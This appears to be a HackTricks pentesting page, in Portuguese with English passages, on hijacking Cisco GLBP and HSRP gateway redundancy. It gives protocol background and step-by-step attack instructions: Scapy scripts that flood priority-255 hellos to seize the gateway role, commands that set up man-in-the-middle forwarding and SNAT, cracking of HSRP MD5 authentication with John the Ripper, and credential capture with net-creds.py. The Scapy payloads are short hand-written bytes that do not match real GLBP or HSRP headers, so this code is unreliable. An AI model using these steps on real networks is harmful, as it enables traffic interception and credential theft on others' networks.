GLBP & HSRP Attacks

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

FHRP Hijacking Overview

Informações sobre FHRP

FHRP foi projetado para fornecer robustez de rede ao unir múltiplos routers em uma única entidade virtual, aumentando assim a distribuição de carga e a tolerância a falhas. A Cisco Systems introduziu protocolos importantes nessa suíte, como GLBP e HSRP.

GLBP Protocol Insights

Criado pela Cisco, o GLBP opera na pilha TCP/IP, usando UDP na porta 3222 para comunicação. Routers em um grupo GLBP trocam pacotes “hello” a cada 3 segundos. Se um router deixar de enviar esses pacotes por 10 segundos, presume-se que esteja offline. Esses timers, no entanto, não são fixos e podem ser alterados.

O GLBP para IPv6 usa multicast FF02::66 sobre UDP/3222, e o formato de MAC virtual torna-se 0007.b4xx.xxyy (AVF ID is in the last byte). Temporizações e superfície de ataque permanecem iguais às do IPv4, portanto técnicas de hijack ainda funcionam em redes dual‑stack.

GLBP Operations and Load Distribution

O GLBP destaca-se por permitir a distribuição de carga entre routers usando um único IP virtual acompanhado de múltiplos endereços MAC virtuais. Em um grupo GLBP, todos os routers participam do encaminhamento de pacotes. Ao contrário do HSRP/VRRP, o GLBP oferece balanceamento de carga real por meio de vários mecanismos:

  • Host-Dependent Load Balancing: Mantém a atribuição consistente de AVF MAC address para um host, essencial para configurações NAT estáveis.
  • Round-Robin Load Balancing: A abordagem padrão, alternando a atribuição de AVF MAC address entre hosts requisitantes.
  • Weighted Round-Robin Load Balancing: Distribui a carga com base em métricas predefinidas de “Weight”.

Componentes-chave e Terminologia no GLBP

  • AVG (Active Virtual Gateway): O router principal, responsável por alocar endereços MAC para routers pares.
  • AVF (Active Virtual Forwarder): Um router designado para gerenciar o tráfego de rede.
  • GLBP Priority: Uma métrica que determina o AVG, começando com o valor padrão 100 e variando entre 1 e 255.
  • GLBP Weight: Reflete a carga atual em um router, ajustável manualmente ou através de Object Tracking.
  • GLBP Virtual IP Address: Serve como o gateway padrão da rede para todos os dispositivos conectados.

Para interações, o GLBP usa o endereço multicast reservado 224.0.0.102 e a porta UDP 3222. Routers transmitem pacotes “hello” a cada 3 segundos, e são considerados não operacionais se um pacote for perdido por um período de 10 segundos.

GLBP Attack Mechanism

Um atacante pode tornar-se o router primário enviando um pacote GLBP com o maior valor de prioridade (255). Isso pode levar a ataques DoS ou MITM, permitindo a interceptação ou redirecionamento do tráfego.

Practical GLBP hijack with Scapy (short PoC)

from scapy.all import *

vip = "10.10.100.254"          # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64"      # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)

Construa os bytes do payload para imitar o cabeçalho GLBP (version/opcode/priority/weight/VRID). Repetir o frame garante que você vença a eleição do AVG se a autenticação estiver ausente.

Executando um ataque GLBP com Loki

Loki pode executar um ataque GLBP injetando um pacote com priority e weight definidos para 255. Passos pré-ataque incluem coletar informações como o virtual IP address, presença de authentication e os valores de priority dos routers usando ferramentas como Wireshark.

Attack Steps:

  1. Ative o promiscuous mode e habilite o IP forwarding.
  2. Identifique o router alvo e obtenha seu IP.
  3. Gere um Gratuitous ARP.
  4. Injete um pacote GLBP malicioso, se passando pelo AVG.
  5. Atribua uma secondary IP address à interface de rede do atacante, espelhando o GLBP virtual IP.
  6. Implemente SNAT para obter visibilidade completa do tráfego.
  7. Ajuste o roteamento para garantir acesso contínuo à internet através do AVG original.

Seguindo esses passos, o atacante se posiciona como um “man in the middle”, capaz de interceptar e analisar o tráfego de rede, incluindo dados não criptografados ou sensíveis.

Para demonstração, aqui estão os trechos de comandos necessários:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

O monitoramento e a interceptação de tráfego podem ser feitos usando net-creds.py ou ferramentas semelhantes para capturar e analisar os dados que trafegam pela rede comprometida.

Explicação passiva de HSRP Hijacking com detalhes de comandos

Overview of HSRP (Hot Standby Router/Redundancy Protocol)

HSRP é um protocolo proprietário da Cisco projetado para redundância de gateway de rede. Ele permite a configuração de múltiplos roteadores físicos em uma única unidade lógica com um endereço IP compartilhado. Essa unidade lógica é gerenciada por um roteador primário responsável por direcionar o tráfego. Ao contrário do GLBP, que usa métricas como prioridade e peso para balanceamento de carga, o HSRP depende de um único roteador ativo para o gerenciamento do tráfego.

HSRPv1 usa multicast 224.0.0.2 e MAC virtual 0000.0c07.acXX; HSRPv2 e HSRPv2 para IPv6 usam 224.0.0.102 / FF02::66 e MAC virtual 0000.0c9f.fXXX. A porta de destino UDP é 1985 para IPv4 e 2029 para IPv6.

Roles and Terminology in HSRP

  • HSRP Active Router: O dispositivo que atua como gateway, gerenciando o fluxo de tráfego.
  • HSRP Standby Router: Um roteador de backup, pronto para assumir se o roteador ativo falhar.
  • HSRP Group: Um conjunto de roteadores que colaboram para formar um único roteador virtual resiliente.
  • HSRP MAC Address: Um endereço MAC virtual atribuído ao roteador lógico na configuração HSRP.
  • HSRP Virtual IP Address: O endereço IP virtual do grupo HSRP, atuando como gateway padrão para os dispositivos conectados.

HSRP Versions

O HSRP existe em duas versões, HSRPv1 e HSRPv2, diferindo principalmente em capacidade de grupo, uso de IP multicast e na estrutura do endereço MAC virtual. O protocolo utiliza endereços IP multicast específicos para troca de informações de serviço, com pacotes Hello enviados a cada 3 segundos. Um roteador é presumido inativo se nenhum pacote for recebido dentro de um intervalo de 10 segundos.

HSRP Attack Mechanism

Os ataques HSRP envolvem assumir à força a função de Active Router injetando um valor de prioridade máximo. Isso pode levar a um ataque Man-In-The-Middle (MITM). Etapas essenciais pré-ataque incluem coletar dados sobre a configuração HSRP, o que pode ser feito usando Wireshark para análise de tráfego.

Tomada rápida de HSRP com Scapy

from scapy.all import *

vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01"  # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)

Se a autenticação não estiver configurada, o envio contínuo de hellos com prioridade maior força os pares para os estados Speak/Listen e permite que você se torne Active, redirecionando o tráfego através do seu host.

HSRP authentication corner cases

  • Autenticação legada plain-text é trivialmente falsificável.
  • A autenticação MD5 cobre apenas o payload do HSRP; pacotes forjados ainda podem limitar por taxa/DoS os planos de controle. Versões do NX-OS permitiam anteriormente DoS contra grupos autenticados (veja o advisory da Cisco CSCup11309).
  • Em muitos VLANs compartilhados de ISP / VPS, multicasts HSRPv1 são visíveis para tenants; sem auth você pode entrar e preemptar o tráfego.

Steps for Bypassing HSRP Authentication

  1. Save the network traffic containing HSRP data as a .pcap file.
tcpdump -w hsrp_traffic.pcap
  1. Extract MD5 hashes from the .pcap file using hsrp2john.py.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. Crack the MD5 hashes using John the Ripper.
john --wordlist=mywordlist.txt hsrp_hashes

Executing HSRP Injection with Loki

  1. Launch Loki to identify HSRP advertisements.
  2. Set the network interface to promiscuous mode and enable IP forwarding.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Use Loki to target the specific router, input the cracked HSRP password, and perform necessary configurations to impersonate the Active Router.
  2. After gaining the Active Router role, configure your network interface and IP tables to intercept the legitimate traffic.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. Modify the routing table to route traffic through the former Active Router.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. Use net-creds.py or a similar utility to capture credentials from the intercepted traffic.
sudo python2 net-creds.py -i eth0

A execução desses passos coloca o atacante em posição de interceptar e manipular o tráfego, similar ao procedimento de hijacking do GLBP. Isso ressalta a vulnerabilidade em protocolos de redundância como HSRP e a necessidade de medidas de segurança robustas.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks